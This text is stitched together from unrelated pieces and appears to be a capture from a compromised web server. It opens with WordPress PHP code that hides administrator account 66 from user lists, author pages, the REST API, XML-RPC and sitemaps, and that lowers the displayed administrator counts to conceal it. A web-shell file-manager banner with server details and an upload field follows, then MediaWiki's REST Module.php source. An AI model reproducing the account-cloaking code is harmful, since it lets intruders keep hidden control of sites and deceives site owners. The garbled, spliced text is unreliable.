add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/Rest/Module/ |
Upload File : |
<?php
namespace MediaWiki\Rest\Module;
use LogicException;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\Profiler\ProfilingContext;
use MediaWiki\Rest\BasicAccess\BasicAuthorizerInterface;
use MediaWiki\Rest\CorsUtils;
use MediaWiki\Rest\Handler;
use MediaWiki\Rest\Hook\HookRunner;
use MediaWiki\Rest\HttpException;
use MediaWiki\Rest\LocalizedHttpException;
use MediaWiki\Rest\PathTemplateMatcher\ModuleConfigurationException;
use MediaWiki\Rest\Reporter\ErrorReporter;
use MediaWiki\Rest\RequestInterface;
use MediaWiki\Rest\ResponseException;
use MediaWiki\Rest\ResponseFactory;
use MediaWiki\Rest\ResponseInterface;
use MediaWiki\Rest\Router;
use MediaWiki\Rest\Validator\Validator;
use Throwable;
use Wikimedia\Message\MessageValue;
use Wikimedia\ObjectFactory\ObjectFactory;
use Wikimedia\Stats\StatsFactory;
use Wikimedia\Timestamp\ConvertibleTimestamp;
/**
* A REST module represents a collection of endpoints.
* The module object is responsible for generating a response for a given
* request. This is typically done by routing requests to the appropriate
* request handler.
*
* @since 1.43
*/
abstract class Module {
/**
* @internal for use in cached module data
*/
public const CACHE_CONFIG_HASH_KEY = 'CONFIG-HASH';
private Router $router;
protected string $pathPrefix;
protected ResponseFactory $responseFactory;
private BasicAuthorizerInterface $basicAuth;
private ObjectFactory $objectFactory;
private Validator $restValidator;
private ErrorReporter $errorReporter;
private HookContainer $hookContainer;
private StatsFactory $stats;
private ?CorsUtils $cors = null;
private ?HookRunner $hookRunner = null;
/**
* @param Router $router
* @param string $pathPrefix
* @param ResponseFactory $responseFactory
* @param BasicAuthorizerInterface $basicAuth
* @param ObjectFactory $objectFactory
* @param Validator $restValidator
* @param ErrorReporter $errorReporter
*/
public function __construct(
Router $router,
string $pathPrefix,
ResponseFactory $responseFactory,
BasicAuthorizerInterface $basicAuth,
ObjectFactory $objectFactory,
Validator $restValidator,
ErrorReporter $errorReporter,
HookContainer $hookContainer
) {
$this->router = $router;
$this->pathPrefix = $pathPrefix;
$this->responseFactory = $responseFactory;
$this->basicAuth = $basicAuth;
$this->objectFactory = $objectFactory;
$this->restValidator = $restValidator;
$this->errorReporter = $errorReporter;
$this->hookContainer = $hookContainer;
$this->stats = StatsFactory::newNull();
}
public function getPathPrefix(): string {
return $this->pathPrefix;
}
/**
* Return data that can later be used to initialize a new instance of
* this module in a fast and efficient way.
*
* @see initFromCacheData()
*
* @return array An associative array suitable to be processed by
* initFromCacheData. Implementations are free to choose the format.
*/
abstract public function getCacheData(): array;
/**
* Initialize from the given cache data if possible.
* This allows fast initialization based on data that was cached during
* a previous invocation of the module.
*
* Implementations are responsible for verifying that the cache data
* matches the information provided to the constructor, to protect against
* a situation where configuration was updated in a way that affects the
* operation of the module.
*
* @param array $cacheData Data generated by getCacheData(), implementations
* are free to choose the format.
*
* @return bool true if the cache data could be used,
* false if it was discarded.
* @see getCacheData()
*/
abstract public function initFromCacheData( array $cacheData ): bool;
/**
* Create a Handler for the given path, taking into account the request
* method.
*
* If $prepExecution is true, the handler's prepareForExecute() method will
* be called, which will call postInitSetup(). The $request object will be
* updated with any path parameters and parsed body data.
*
* @unstable
*
* @param string $path
* @param RequestInterface $request The request to handle. If $forExecution
* is true, this will be updated with the path parameters and parsed
* body data as appropriate.
* @param bool $initForExecute Whether the handler and the request should be
* prepared for execution. Callers that only need the Handler object
* for access to meta-data should set this to false.
*
* @return Handler
* @throws HttpException If no handler was found
*/
public function getHandlerForPath(
string $path,
RequestInterface $request,
bool $initForExecute = false
): Handler {
$requestMethod = strtoupper( $request->getMethod() );
$match = $this->findHandlerMatch( $path, $requestMethod );
if ( !$match['found'] && $requestMethod === 'HEAD' ) {
// For a HEAD request, execute the GET handler instead if one exists.
$match = $this->findHandlerMatch( $path, 'GET' );
}
if ( !$match['found'] ) {
$this->throwNoMatch(
$path,
$request->getMethod(),
$match['methods'] ?? []
);
}
if ( isset( $match['handler'] ) ) {
$handler = $match['handler'];
} elseif ( isset( $match['spec'] ) ) {
$handler = $this->instantiateHandlerObject( $match['spec'] );
} else {
throw new LogicException(
'Match does not specify a handler instance or object spec.'
);
}
// For backwards compatibility only. Handlers should get the path by
// calling getPath(), not from the config array.
$config = $match['config'] ?? [];
$config['path'] ??= $match['path'];
// Provide context about the module
$handler->initContext( $this, $match['path'], $config );
// Inject services and state from the router
$this->getRouter()->prepareHandler( $handler );
if ( $initForExecute ) {
// Use rawurldecode so a "+" in path params is not interpreted as a space character.
$pathParams = array_map( 'rawurldecode', $match['params'] ?? [] );
$request->setPathParams( $pathParams );
$handler->initForExecute( $request );
}
return $handler;
}
public function getRouter(): Router {
return $this->router;
}
/**
* Determines which handler to use for the given path and returns an array
* describing the handler and initialization context.
*
* @param string $path
* @param string $requestMethod
*
* @return array<string,mixed>
* - bool "found": Whether a match was found. If true, the `handler`
* or `spec` field must be set.
* - Handler handler: the Handler object to use. Either "handler" or
* "spec" must be given.
* - array "spec":" an object spec for use with ObjectFactory
* - array "config": the route config, to be passed to Handler::initContext()
* - string "path": the path the handler is responsible for,
* including placeholders for path parameters.
* - string[] "params": path parameters, to be passed the
* Request::setPathPrams()
* - string[] "methods": supported methods, if the path is known but
* the method did not match. Only meaningful if "found" is false.
* To be used in the Allow header of a 405 response and included
* in CORS pre-flight.
*/
abstract protected function findHandlerMatch(
string $path,
string $requestMethod
): array;
/**
* Implementations of getHandlerForPath() should call this method when they
* cannot handle the requested path.
*
* @param string $path The requested path
* @param string $method The HTTP method of the current request
* @param string[] $allowed The allowed HTTP methods allowed by the path
*
* @return never
* @throws HttpException
*/
protected function throwNoMatch( string $path, string $method, array $allowed ): void {
// Check for CORS Preflight. This response will *not* allow the request unless
// an Access-Control-Allow-Origin header is added to this response.
if ( $this->cors && $method === 'OPTIONS' && $allowed ) {
// IDEA: Create a CorsHandler, which getHandlerForPath can return in this case.
$response = $this->cors->createPreflightResponse( $allowed );
throw new ResponseException( $response );
}
if ( $allowed ) {
// There are allowed methods for this patch, so reply with Method Not Allowed.
$response = $this->responseFactory->createLocalizedHttpError( 405,
( new MessageValue( 'rest-wrong-method' ) )
->textParams( $method )
->commaListParams( $allowed )
->numParams( count( $allowed ) )
);
$response->setHeader( 'Allow', $allowed );
throw new ResponseException( $response );
} else {
// There are no allowed methods for this path, so the path was not found at all.
$msg = ( new MessageValue( 'rest-no-match' ) )
->plaintextParams( $path );
throw new LocalizedHttpException( $msg, 404 );
}
}
private function runRestCheckCanExecuteHook(
Handler $handler,
string $path,
RequestInterface $request
): void {
$this->hookRunner ??= new HookRunner( $this->hookContainer );
$error = null;
$canExecute = $this->hookRunner->onRestCheckCanExecute( $this, $handler, $path, $request, $error );
if ( $canExecute !== ( $error === null ) ) {
throw new LogicException(
'Hook RestCheckCanExecute returned ' . ( $canExecute ? 'true' : 'false' )
. ' but ' . ( $error ? 'did' : 'did not' ) . ' set an error'
);
} elseif ( $error instanceof HttpException ) {
throw $error;
} elseif ( $error ) {
throw new LogicException(
'RestCheckCanExecute must set a HttpException when returning false, '
. 'but got ' . get_class( $error )
);
}
}
/**
* Find the handler for a request and execute it
*/
public function execute( string $path, RequestInterface $request ): ResponseInterface {
$handler = null;
$startTime = ConvertibleTimestamp::hrtime();
try {
$handler = $this->getHandlerForPath( $path, $request, true );
$this->runRestCheckCanExecuteHook( $handler, $path, $request );
$response = $this->executeHandler( $handler );
} catch ( HttpException $e ) {
$extraData = [];
if ( $this->router->isRestbaseCompatEnabled( $request )
&& $e instanceof LocalizedHttpException
) {
$extraData = $this->router->getRestbaseCompatErrorData( $request, $e );
}
$response = $this->responseFactory->createFromException( $e, $extraData );
} catch ( Throwable $e ) {
// Note that $handler is allowed to be null here.
$this->errorReporter->reportError( $e, $handler, $request );
$response = $this->responseFactory->createFromException( $e );
}
$this->recordMetrics( $handler, $request, $response, $startTime );
return $response;
}
private function recordMetrics(
?Handler $handler,
RequestInterface $request,
ResponseInterface $response,
float $startTime
) {
$latency = ConvertibleTimestamp::hrtime() - $startTime;
// NOTE: The "/" prefix is for consistency with old logs. It's rather ugly.
$pathForMetrics = $this->getPathPrefix();
if ( $pathForMetrics !== '' ) {
$pathForMetrics = '/' . $pathForMetrics;
}
$pathForMetrics .= $handler ? $handler->getPath() : '/UNKNOWN';
// Replace any characters that may have a special meaning in the metrics DB.
$pathForMetrics = strtr( $pathForMetrics, '{}:/.', '---__' );
$statusCode = $response->getStatusCode();
$requestMethod = $request->getMethod();
if ( $statusCode >= 400 ) {
// count how often we return which error code
$this->stats->getCounter( 'rest_api_errors_total' )
->setLabel( 'path', $pathForMetrics )
->setLabel( 'method', $requestMethod )
->setLabel( 'status', "$statusCode" )
->copyToStatsdAt( [ "rest_api_errors.$pathForMetrics.$requestMethod.$statusCode" ] )
->increment();
} else {
// measure how long it takes to generate a response
$this->stats->getTiming( 'rest_api_latency_seconds' )
->setLabel( 'path', $pathForMetrics )
->setLabel( 'method', $requestMethod )
->setLabel( 'status', "$statusCode" )
->copyToStatsdAt( "rest_api_latency.$pathForMetrics.$requestMethod.$statusCode" )
->observeNanoseconds( $latency );
}
}
/**
* @internal for testing
*
* @return array[] An associative array, mapping path patterns to
* a list of request methods supported for the path.
*/
abstract public function getDefinedPaths(): array;
/**
* Get the allowed methods for a path.
* Useful to check for 405 wrong method and for generating OpenAPI specs.
*
* @param string $relPath A concrete request path.
* @return string[] A list of allowed HTTP request methods for the path.
* If the path is not supported, the list will be empty.
*/
abstract public function getAllowedMethods( string $relPath ): array;
/**
* Creates a handler from the given spec, but does not initialize it.
*/
protected function instantiateHandlerObject( array $spec ): Handler {
/** @var $handler Handler (annotation for PHPStorm) */
$handler = $this->objectFactory->createObject(
$spec,
[ 'assertClass' => Handler::class ]
);
return $handler;
}
/**
* Execute a fully-constructed handler
* @throws HttpException
*/
protected function executeHandler( Handler $handler ): ResponseInterface {
ProfilingContext::singleton()->init( MW_ENTRY_POINT, $handler->getPath() );
// Check for basic authorization, to avoid leaking data from private wikis
$authResult = $this->basicAuth->authorize( $handler->getRequest(), $handler );
if ( $authResult ) {
return $this->responseFactory->createHttpError( 403, [ 'error' => $authResult ] );
}
// Check session (and session provider)
$handler->checkSession();
// Validate the parameters
$handler->validate( $this->restValidator );
// Check conditional request headers
$earlyResponse = $handler->checkPreconditions();
if ( $earlyResponse ) {
return $earlyResponse;
}
// Run the main part of the handler
$response = $handler->execute();
if ( !( $response instanceof ResponseInterface ) ) {
$response = $this->responseFactory->createFromReturnValue( $response );
}
// Set Last-Modified and ETag headers in the response if available
$handler->applyConditionalResponseHeaders( $response );
$handler->applyCacheControl( $response );
return $response;
}
public function setCors( CorsUtils $cors ): self {
$this->cors = $cors;
return $this;
}
/**
* @internal for use by Router
*
* @param StatsFactory $stats
*
* @return self
*/
public function setStats( StatsFactory $stats ): self {
$this->stats = $stats;
return $this;
}
/**
* Loads a module specification from a file.
*
* This method does not know or care about the structure of the file
* other than that it must be JSON and contain a list or map
* (that is, a JSON array or object).
*
* @param string $fileName
*
* @internal
*
* @return array An associative or indexed array describing the module
* @throws ModuleConfigurationException
*/
public static function loadJsonFile( string $fileName ): array {
$json = file_get_contents( $fileName );
if ( $json === false ) {
throw new ModuleConfigurationException(
"Failed to load file `$fileName`"
);
}
$spec = json_decode( $json, true );
if ( !is_array( $spec ) ) {
throw new ModuleConfigurationException(
"Failed to parse `$fileName` as a JSON object"
);
}
return $spec;
}
/**
* Return an array with data to be included in an OpenAPI "info" object
* describing this module.
*
* @see https://spec.openapis.org/oas/v3.0.0#info-object
* @return array
*/
public function getOpenApiInfo() {
return [];
}
/**
* Returns fields to be included when describing this module in the
* discovery document.
*
* Supported keys are described in /docs/discovery-1.0.json#/definitions/Module
*
* @see /docs/discovery-1.0.json
* @see /docs/mwapi-1.0.json
* @see DiscoveryHandler
*/
public function getModuleDescription(): array {
// TODO: Include the designated audience (T366567).
// Note that each module object is designated for only one audience,
// even if the spec allows multiple.
$moduleId = $this->getPathPrefix();
// Fields from OAS Info to include.
// Note that mwapi-1.0 is based on OAS 3.0, so it doesn't support the
// "summary" property introduced in 3.1.
$infoFields = [ 'version', 'title', 'description' ];
return [
'moduleId' => $moduleId,
'info' => array_intersect_key(
$this->getOpenApiInfo(),
array_flip( $infoFields )
),
'base' => $this->getRouter()->getRouteUrl(
'/' . $moduleId
),
'spec' => $this->getRouter()->getRouteUrl(
'/specs/v0/module/{module}', // hard-coding this here isn't very pretty
[ 'module' => $moduleId == '' ? '-' : $moduleId ]
)
];
}
}